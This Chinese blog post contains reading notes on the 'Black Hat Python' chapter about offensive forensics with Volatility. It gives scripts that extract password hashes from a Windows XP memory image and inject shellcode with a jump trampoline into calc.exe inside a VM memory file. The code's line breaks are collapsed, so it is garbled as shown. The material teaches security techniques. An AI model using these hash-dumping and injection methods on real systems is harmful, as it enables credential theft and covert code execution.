目录

  • 前言
    • 1、Volatility配置
    • 2、抓取口令的哈希值
    • 3、直接代码注入
    • 4、插入shellcode
  • 结语

前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书

本篇是第11章自动化攻击取证,主要是调用Volatility

1、Volatility配置

在code.google.com/p/volatility/downloads/list安装
运行python vol.py imageinfo -f "memorydump.img"来获取目标配置

最重要的信息如下:

然后运行python vol.py plugin --profile="WinXPSP2x86" arguments

2、抓取口令的哈希值

导出口令的哈希值可以用于离线破解,也可以直接用来进行认证仿冒攻击

  • 运行Volatility的hivelist插件定位注册表SAM和system在内存中的偏移:python vol.py hivelist --profile=WinXPSP2x86 -f "WindowsXPSP2.vmem
  • 在获得了注册表的虚拟地址,即偏移后:python vol.py hashdump -d --profile=WinXPSP2x86 -f "WindowsXPSP2.vmem -y system偏移地址 -s Sam偏移地址

做成脚本

#!usr/bin/env python
#-*- coding:utf8 -*-  import sys
import struct
import volatility.conf as conf
import volatility.registry as registry# 要分析的内存文件位置
memory_file = "D:\\Windows XP Professional-f6b49762.vmem"# volatility的下载的路径
sys.path.append("D:\\volatility-2.3")registry.PluginImporter()
config = conf.ConfObject()import volatility.commands as commands
import volatility.addrspace as addrspaceconfig.parse_options()
config.PROFILE = "WinXPSP3x86"
config.LOCATION = "file://%s" % memory_file# 注册全局参数
registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)from volatility.plugins.registry.registryapi import RegistryApi
from volatility.plugins.registry.lsadump import HashDump# 实例化一个RegistryApi类对象(包含常用的注册表帮助类)
registry = RegistryApi(config)
# 等同与hivelist命令
registry.populate_offsets()sam_offset = None
sys_offset = None# 循环检索SAM和system键值
for offset in registry.all_offsets:if registry.all_offsets[offset].endswith("\\SAM"):sam_offset = offsetprint "[*] SAM: 0x%08x" % offsetif registry.all_offsets[offset].endswith("\\system"):sys_offset = offsetprint "[*] System: 0x%08x" % offsetif sam_offset is not None and sys_offset is not None:config.sys_offset = sys_offsetconfig.sam_offset = sam_offset# 创建HashDump对象hashdump = HashDump(config)for hash in hashdump.calculate():print hashbreakif sam_offset is None or sys_offset is None:print "[*] Failed to find the system or SAM offsets."

3、直接代码注入

以计算器为例

#!usr/bin/env python
#-*- coding:utf8 -*-  from immlib import *class cc_hook(LogBpHook):def __init__(self):LogBpHook.__init__(self)self.imm = Debugger()def run(self, regs):self.imm.log("%08x" % regs['EIP'], regs['EIP'])self.imm.deleteBreakpoint(regs['EIP'])returndef main(args):imm = Debugger()calc = imm.getModule("calc.exe")imm.analyseCode(calc.getCodebase())functions = imm.getAllFunctions(calc.getCodebase())hooker = cc_hook()for function in functions:hooker.add("%08x" % function, function)return "Tracking %d functions." % len(functions)

4、插入shellcode

即最终

#!usr/bin/env python
#-*- coding:utf8 -*-  import sys
import structequals_button = 0x01005D51# 要分析的内存文件位置
memory_file = "D:\\Windows XP Professional-f6b49762.vmem"
slack_space = None
trampoline_offset = None# 读入我们的shellcode
sc_fd = open("cmeasure.bin", "rb")
sc = sc_fd.read()
sc_fd.close()sys.path.append("D:\\volatility-2.3")import volatility.conf as conf
import volatility.registry as registryregistry.PluginImporter()
config = conf.ConfObject()import volatility.commands as commands
import volatility.addrspace as addrspaceregistry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)config.parse_options()
config.PROFILE = "WinXPSP3x86"
config.LOCATION = "file://%s" % memory_fileimport volatility.plugins.taskmods as taskmodsp = taskmods.PSList(config)
for process in p.calculate():if str(process.ImageFileName) == "calc.exe":print "[*] Found calc.exe with PID %d" % process.UniqueProcessIdprint "[*] Hunting for physical offsets...please wait."address_space = process.get_process_address_space()pages = address_space.get_available_pages()# page[0]:页面地址# page[1]:页面大小for page in pages:physical = address_space.vtop(page[0])if physical is not None:fd = open(memory_file, "r+")fd.seek(physical)buf = fd.read(page[1])try:offset = buf.index("\x00" * len(sc))slack_space = page[0] + offsetprint "[*] Found good shellcode location!"print "[*] Virtual address: 0x%08x" % slack_spaceprint "[*] Physical address: 0x%08x" % (physical + offset)print "[*] Injecting shellcode."fd.seek(physical + offset)fd.write(sc)fd.flush()# 创建我们的跳转代码# 对应的汇编指令为:# mov ebx, ADDRESS_OF_SHELLCODE( shellcode地址)# jmp ebxtramp = "\xbb%s" % struct.pack("<L", page[0] + offset)tramp += "\xff\xe3"if trampoline_offset is not None:breakexcept:passfd.close()# 查看目标代码的位置if page[0] <= equals_button and equals_button < (page[0] + page[1] -7):print "[*] Found our trampoline target at: 0x%08x" % (physical)# 计算虚拟偏移v_offset = equals_button - page[0]# 计算物理偏移trampoline_offset = physical+ v_offsetprint "[*] Found our trampoline target at: 0x%08x" % (trampoline_offset)if slack_space is not None:breakprint "[*] Writing trampoline..."fd = open(memory_file, "r+")fd.seek(trampoline_offset)fd.write(tramp)fd.close()print "[*] Done injecting code."

结语

回头去看看vol

《Python黑帽子:黑客与渗透测试编程之道》读书笔记(九):自动化攻击取证相关推荐

  1. Python黑帽子--黑客与渗透测试编程之道 python3 实现代码

    最近在看 Python黑帽子–黑客与渗透测试编程之道 这本书 发现这本书的代码实现都是使用python2 的于是我就想使用python3来实现 缓慢更新中 python2版本 有一个博主写的特别好 这 ...

  2. Python黑帽子 黑客与渗透测试编程之道(七) 第四章:Scapy:网络的掌控者

    1 窃取Email认证 代码: from scapy.all import *def packet_callback(packet):if packet[TCP].payload:mail_packe ...

  3. Python黑帽子-黑客与渗透测试编程之道

    Python黑帽子-黑客与渗透测试编程之道 时间:2018年4月28日 前言 本文参考了两篇资料,优化补全了代码内容 giantbranch 的 Python黑帽子–黑客与渗透测试编程之道 意闲 的 ...

  4. 关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记

    本篇文章是学习<Python黑帽子:黑客与渗透测试编程之道>的笔记,会持续地将书上的代码自己敲一遍,从而让自己对Python的安全编程有更多的了解,同时希望各位可以给给建议,不足之处太多了 ...

  5. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(三):scapy——网络的掌控者

    目录 前言 1.窃取email认证 2.ARP缓存投毒 3.PCAP文件处理 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码,并自己将其中一些改写成P ...

  6. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(二):原始套接字和流量嗅探

    目录 前言 1.Windows和Linux上的包嗅探 2.解码IP层 3.解码ICMP层 4.发现主机 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码 ...

  7. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(四):web攻击

    目录 前言 1.urllib2 2.开源web应用安装 3.破解目录和文件位置 4.破解HTML表格认证 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源 ...

  8. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(五):扩展burp代理

    目录 前言 1.burp的fuzz脚本 2.burp中利用Bing服务 3.利用网站内容生成密码字典 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码, ...

  9. 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击

    Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...

最新文章

  1. 重磅直播|激光雷达在高精地图中的应用
  2. 日期相减 python_如果将excel的数字转化为日期(高级教程)
  3. qt中QHostAddress与QString相互转换
  4. java 二叉树特点_二叉树的Java实现及特点总结
  5. OPPO首部5G手机亮相 10倍混合光学变焦技术惊艳MWC
  6. 获取移除指定Url参数(原创)
  7. BOLT UI界面引擎是如何工作的?(BOLT UI入门教程)
  8. 黑白群晖为Plex添加证书,开启HTTPS访问
  9. Activiti7工作流+Springboot快速入门
  10. 九歌计算机在线作诗硬件原理,矣晓沅,孙茂松:计算机的诗意 | 机器写诗的背后...
  11. 一个基于百度云和图灵的人工智能程序
  12. 你说南京很好,但不是你最想去的城市,那么,上海呢,要不借这个机会去看看吧--写给自己
  13. 常见开源规则引擎对比分析
  14. Kotlin细节十五:作用域函数与 this it 关键字
  15. 9-java.sql.SQLException: Incorrect string value: ‘\xE9\x82\xA3\xE5\xB0\xB1‘ for column ‘content‘
  16. 钉钉导航栏分享按钮的显示/隐藏
  17. android xml画斜线,API返回XML引号通过反斜线
  18. 受制裁,即 Github 之后,Adobe 也开始大量封禁账号和服务了!
  19. OC10_数组的内存管理
  20. 程序员给孩子买什么保险好,要注意避免什么坑呢?

热门文章

  1. JAVA前端与后端参数传递方法小结
  2. Windows下win32api下载地址
  3. java 凸包算法_Melkman凸包算法的Java实现
  4. 最全Android安全检测漏洞解决方案
  5. 【算法】遗传算法及其 Java 实现
  6. mysql唯一索引一个表_mysql一个表可以有几个唯一索引?
  7. 针对vscode编辑器的jsconfig.json文件
  8. 【硬件基础】--------电容
  9. 做工控的朋友,留着可能有不时之需.2011工控破解,助你一臂之力!
  10. C语言-蓝桥杯-算法训练 印章